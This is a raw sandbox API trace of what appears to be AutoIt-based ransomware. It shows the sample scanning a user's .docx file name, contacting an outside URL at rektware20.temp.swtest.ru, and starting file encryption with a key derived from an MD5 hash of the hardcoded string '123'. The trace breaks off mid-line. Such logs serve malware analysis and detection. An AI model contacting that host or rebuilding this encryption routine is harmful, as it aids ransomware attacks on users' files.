lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qqWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qWKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WKuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KuO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uO1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Jdwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dwiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wiyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iyh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yh.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.344] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.344] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0071.344] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.344] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0071.344] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0071.344] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.344] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0071.344] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0071.344] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c) returned 1 [0071.345] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.345] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.345] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.345] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0071.345] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0071.345] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0071.345] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0071.345] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0071.345] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.346] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.346] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.346] CloseHandle (hObject=0x0) returned 0 [0071.346] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.346] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\qqWKuO1W7Jdwiyh.docx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0071.346] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0071.347] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.347] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.347] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.347] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.347] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.347] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.347] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0071.347] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.347] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.347] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0071.347] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.347] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.347] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.347] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.347] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.347] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0071.347] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0071.348] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0071.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0071.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0071.348] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0071.348] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9f00) returned 1 [0071.348] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.348] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.348] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0071.349] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.349] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.349] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.349] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.349] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.349] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.349] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.349] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.349] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.349] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.349] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.349] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.349] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0071.349] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.349] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.349] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.349] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.349] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.349] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.349] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.349] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.349] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.349] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.350] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.350] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.350] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.350] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.350] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.350] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.350] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0071.350] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0071.350] CryptCreateHash (in: hProv=0x17a9f00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0071.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.350] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629350, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.351] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0071.351] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.351] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.351] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.351] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.351] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0071.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621690, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0071.351] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0071.351] CryptHashData (hHash=0x164c8b0, pbData=0x1629330, dwDataLen=0x3, dwFlags=0x1) returned 1 [0071.351] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.351] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) 